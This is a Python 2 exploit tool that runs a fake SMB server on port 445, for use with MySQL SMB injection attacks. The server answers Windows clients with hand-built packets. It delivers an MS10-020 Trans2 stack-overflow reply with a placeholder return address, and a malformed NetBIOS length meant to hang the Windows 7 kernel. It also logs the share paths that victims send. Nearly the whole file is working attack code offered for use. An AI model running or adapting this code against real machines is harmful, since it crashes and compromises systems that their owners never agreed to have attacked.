import socket,sys ### #### ## SMB server for MySQL SMB injection exploitation ## #### ### # This code is written by Jelmer de Hen # Published at http://h.ackack.net ## This first part is a toolkit for easy assembling SMB packets def toolkit_netbios(count_this_length): length_field = chr(len(count_this_length)) if len(length_field)==1: length_field="\x00\x00"+length_field elif len(length_field)==2: length_field="\x00"+length_field NetBios_session_service = "" NetBios_session_service=NetBios_session_service+"\x00" # Message type = session message NetBios_session_service=NetBios_session_service+length_field # length return NetBios_session_service def toolkit_smb_header(disassembled_smb_header, smb_command): smb_header="" smb_header=smb_header+"\xff\x53\x4d\x42" # SMB command tree smb_header=smb_header+smb_command smb_header=smb_header+"\x00\x00\x00\x00" # NT Status 0x00000000 = STATUS_SUCCESS smb_header=smb_header+"\x98" # Flags 1 smb_header=smb_header+disassembled_smb_header["flags2"] smb_header=smb_header+"\x00\x00" # Process ID High smb_header=smb_header+"\x00\x00\x00\x00\x00\x00\x00\x00" # Signature smb_header=smb_header+"\x00\x00" # Reserved smb_header=smb_header+disassembled_smb_header["tree_id"] smb_header=smb_header+disassembled_smb_header["process_id"] smb_header=smb_header+disassembled_smb_header["user_id"] smb_header=smb_header+disassembled_smb_header["multiplex_id"] return smb_header def toolkit_negotiate_response(): negotiate_proto_response = ( "\x11" # Word count "\x05\x00" # Dialect index 5: NT LM 0.12 "\x03" # security mode "\x0a\x00" # Max Mpx count "\x01\x00" # Max VCs "\x04\x11\x00\x00" # Max buffer size 4356 "\x00\x00\x01\x00" # Max raw buffer size 65536 "\x00\x00\x00\x00" # Session key "\xfd\xe3\x00\x80" # Capabilities "\x00\x00\x00\x00\x00\x00\x00\x00" # System time "\x00\x00" # Server time zone "\x00" # Key length "\x10\x00" # Byte count (BCC) "\x00\x00\x00\x00\x00\x00\x00\x00" # Server GUID "\x00\x00\x00\x00\x00\x00\x00\x00" # Server GUID ) return negotiate_proto_response def toolkit_session_setup_andx_response(): session_setup_andx_response = ( "\x04" # Word count = 4 "\xff" # AndXCommand = no further commands "\x00" # Reserved "\x75\x00" # AndXOffset 117 "\x01\x00" # Action = 0x0001 "\x00\x00" # Security blob = 0 "\x4a\x00" # Byte count "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00" # Native OS Windows 5.1 "\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00" # Native OS Windows 5.1 "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00" # Native lan manager: Windows 2000 Lan Manager "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00" # Native lan manager: Windows 2000 Lan Manager "\x4c\x00\x41\x00\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00" # Native lan manager: Windows 2000 Lan Manager "\x67\x00\x65\x00\x72\x00\x00" # Native lan manager: Windows 2000 Lan Manager ) return session_setup_andx_response def toolkit_tree_connect_andx_response(): tree_connect_andx_response = ( "\x07" # Word count = 7 "\xff" # AndXCommand: No further commands "\x00" # Reserved "\x38\x00" # AndXOffset = 56 "\x01\x00" # optional support (exclusive search bits supported, share isn't in Dfs) "\xff\x01" # word parameters "\x00\x00" # word parameters "\xff\x01" # word parameters "\x00\x00" # word parameters "\x07\x00" # Byte count = 7 "\x49\x50\x43\x00" # Service = IPC "\x00\x00\x00" # Extra byte parameters ) return tree_connect_andx_response def toolkit_tree_disconnect_response(): tree_disconnect_response = ( "\x00" # Word count "\x00\x00" # Byte count ) return tree_disconnect_response def toolkit_logoff_andx_response(): logoff_andx_response = ( "\x02\xff\x00\x27\x00\x00\x00" ) return logoff_andx_response def toolkit_MS10_020(): MS10_020 = ( "\x0a" # Word count "\x02\x00" # Total parameter count "\x18\x00" # Total data count "\x00\x00" # reserved "\x02\x00" # parameter count "\x38\x00" # parameter offset "\x00\x00" # parameter displacement "\x18\x00" # Data count "\xff\xff" # Data offset "\x00\x00" # Data displacement "\x00" # Setup count "\x00" # Reserved "\x1f\x00" # Byte count "\x00\x00\x00\x00\x00\x00\x10\x00\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56\x02\x61AAAABBBB"#EBP = AAAA EIP = BBBB ) return MS10_020 ## This part will disassemble the received packets def disassemble_packet(packet): disassembled_netbios_part = disassemble_netbios_part(packet[0:4]) disassembled_smb_header = disassemble_smb_header(packet[4:36]) disassembled_tree_connect_andx_request = disassemble_tree_connect_andx_request(packet[36:]) return disassembled_netbios_part, disassembled_smb_header, disassembled_tree_connect_andx_request def disassemble_netbios_part(netbios_part): netBiosSession = {} netBiosSession["message_type"] = netbios_part[0:1] netBiosSession["length"] = netbios_part[1:4] return netBiosSession def disassemble_smb_header(smb_part): dis_smb_header = {} dis_smb_header["server_component"] = smb_part[0:4] dis_smb_header["smb_command"] = smb_part[4] dis_smb_header["nt_status"] = smb_part[5:9] dis_smb_header["flags1"] = smb_part[9] dis_smb_header["flags2"] = smb_part[10:12] dis_smb_header["process_id_high"] = smb_part[12:14] dis_smb_header["signature"] = smb_part[14:22] dis_smb_header["reserved"] = smb_part[22:24] dis_smb_header["tree_id"] = smb_part[24:26] dis_smb_header["process_id"] = smb_part[26:28] dis_smb_header["user_id"] = smb_part[28:30] dis_smb_header["multiplex_id"] = smb_part[30:32] return dis_smb_header def disassemble_tree_connect_andx_request(tree_con_andx_req_part): disassembled_tree_connect_andx_request = {} #+12 disassembled_tree_connect_andx_request["WCT"] = tree_con_andx_req_part[0] disassembled_tree_connect_andx_request["AndXCommand"] = tree_con_andx_req_part[1] disassembled_tree_connect_andx_request["path"] = tree_con_andx_req_part[12:] return disassembled_tree_connect_andx_request ## This part are a set of functions which will actually create entire packages def generate_nego_proto_resp(disassembled_netbios_part, disassembled_smb_header): nsponse_smb_header = toolkit_smb_header(disassembled_smb_header, "\x72") nsponse_nsponse = toolkit_negotiate_response() nsponse_netbios = toolkit_netbios(nsponse_smb_header+nsponse_nsponse) negoResponse = nsponse_netbios+nsponse_smb_header+nsponse_nsponse return negoResponse def generate_session_setup_andx_response(disassembled_netbios_part, disassembled_smb_header): session_setup_andx_response_smb_header = toolkit_smb_header(disassembled_smb_header, "\x73") session_setup_andx_response = toolkit_session_setup_andx_response() session_setup_andx_response_netbios = toolkit_netbios(session_setup_andx_response_smb_header+session_setup_andx_response) return session_setup_andx_response_netbios+session_setup_andx_response_smb_header+session_setup_andx_response def generate_tree_connect_andx_response(disassembled_netbios_part, disassembled_smb_header): tree_con_andxsponse_smb_header = toolkit_smb_header(disassembled_smb_header, "\x75") tree_con_andxsponse_nsponse = toolkit_tree_connect_andx_response() # cmd=negotiate; flags; tree_id=65535; process_id=65270; user_id=0x0000; multiplex_id=0x0000 # user_id = not mistake; multiplex_id = multiplex_id last packet, this is just a guess tree_con_andxsponse_netbios = toolkit_netbios(tree_con_andxsponse_smb_header+tree_con_andxsponse_nsponse) tree_con_andxsponse = tree_con_andxsponse_netbios+tree_con_andxsponse_smb_header+tree_con_andxsponse_nsponse return tree_con_andxsponse def generate_tree_disconnect_response(disassembled_netbios_part, disassembled_smb_header): tree_disconnect_response_smb_header = toolkit_smb_header(disassembled_smb_header, "\x71") tree_disconnect_response = toolkit_tree_disconnect_response() tree_con_andxsponse_netbios = toolkit_netbios(tree_disconnect_response_smb_header+tree_disconnect_response) return tree_con_andxsponse_netbios+tree_disconnect_response_smb_header+tree_disconnect_response def generate_logoff_andx_response(disassembled_netbios_part, disassembled_smb_header): logoff_andx_response_smb_header = toolkit_smb_header(disassembled_smb_header, "\x74") logoff_andx_response = toolkit_logoff_andx_response() logoff_andx_response_netbios = toolkit_netbios(logoff_andx_response_smb_header+logoff_andx_response) ### This is a set of vulnerabilities in client side programs, still have to extend the list of exploits ;) def generate_MS10_020(disassembled_netbios_part, disassembled_smb_header): MS10_020_smb_header = toolkit_smb_header(disassembled_smb_header, "\x32") MS10_020 = toolkit_MS10_020() MS10_020_netbios = toolkit_netbios(MS10_020_smb_header+MS10_020) return MS10_020_netbios+MS10_020_smb_header+MS10_020 ## And this is the server part def start_smb_client(): smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM) smb.bind(("", 445)) smb.listen(1) smbconn, addr = smb.accept() print "[+] "+str(addr)+" is trying to make connection to us over port 445" while 1: new_packet = smbconn.recv(1024) if not new_packet: break disassembled_netbios_part, disassembled_smb_header, disassembled_tree_connect_andx_request = disassemble_packet(new_packet) # First check for results if ord(disassembled_tree_connect_andx_request["AndXCommand"])==255 and ord(disassembled_tree_connect_andx_request["path"][0])==92: print "Received a path field: "+disassembled_tree_connect_andx_request["path"].replace("\x00", "").replace("\x3f", "") # Send responses back to requests if disassembled_smb_header["smb_command"] == "\x71":# Tree Disconnect Request smbconn.send(generate_tree_disconnect_response(disassembled_netbios_part, disassembled_smb_header)) elif disassembled_smb_header["smb_command"] == "\x72":# Negotiate protocol request packet if sys.argv[1]=="exploit=win7_remote_kernel_boom": smbconn.send("\x00\x00\x00\x01") smbconn.close() smbconn.send(generate_nego_proto_resp(disassembled_netbios_part, disassembled_smb_header)) elif disassembled_smb_header["smb_command"] == "\x73":# Session setup AndX request smbconn.send(generate_session_setup_andx_response(disassembled_netbios_part, disassembled_smb_header)) elif disassembled_smb_header["smb_command"] == "\x74":# Logoff AndX Request smbconn.send(generate_logoff_andx_response(disassembled_netbios_part, disassembled_smb_header)) elif disassembled_smb_header["smb_command"] == "\x75":# Tree connect AndX request smbconn.send(generate_tree_connect_andx_response(disassembled_netbios_part, disassembled_smb_header)) elif disassembled_smb_header["smb_command"] == "\x32":# Trans2 request if sys.argv[1]=="exploit=MS10-020": smbconn.send(generate_MS10_020(disassembled_netbios_part, disassembled_smb_header)) else: smbconn.send("we don't need more data, thanks!") smbconn.close() def instructions(): print "== SMB server for MySQL SMB injection exploitation ==" print "This program is for penetration testing the SMB protocol through MySQL injections, this program is capable of injecting some ways of making machines crash, create a stack overflow and is capable of collecting data to further improve the speed at which MySQL injections are being injected these days." print "The current exploits are:" print " MS10-020 stack overflow Windows 7/2008R2" print " This exploit will trigger once you reply to a Trans2 packet with a very high data offset, it causes a stack overflow." print " CVE-2010-0270" print " EDB-ID: 12273" print " Found by: Laurent Gaffie" print " win7_remote_kernel_boom" print " If you give a response to a negotiate request packet and define a bigger length in the netBios length field than the actual packet will be and then quickly close the connection then the kernel will go in an infinate loop because it is expecting bytes." print " CVE-2010-0270" print " EDB-ID: 12273" print " Found by: Laurent Gaffie" print "How to use this:" print " "+sys.argv[0]+" exploit=MS10-020" print " "+sys.argv[0]+" exploit=win7_remote_kernel_boom" print "Or for MySQL injections the more machine friendly:" print " "+sys.argv[0]+" normal" if len(sys.argv)==2 and __name__ == "__main__": sys.exit(start_smb_client()) else: sys.exit(instructions())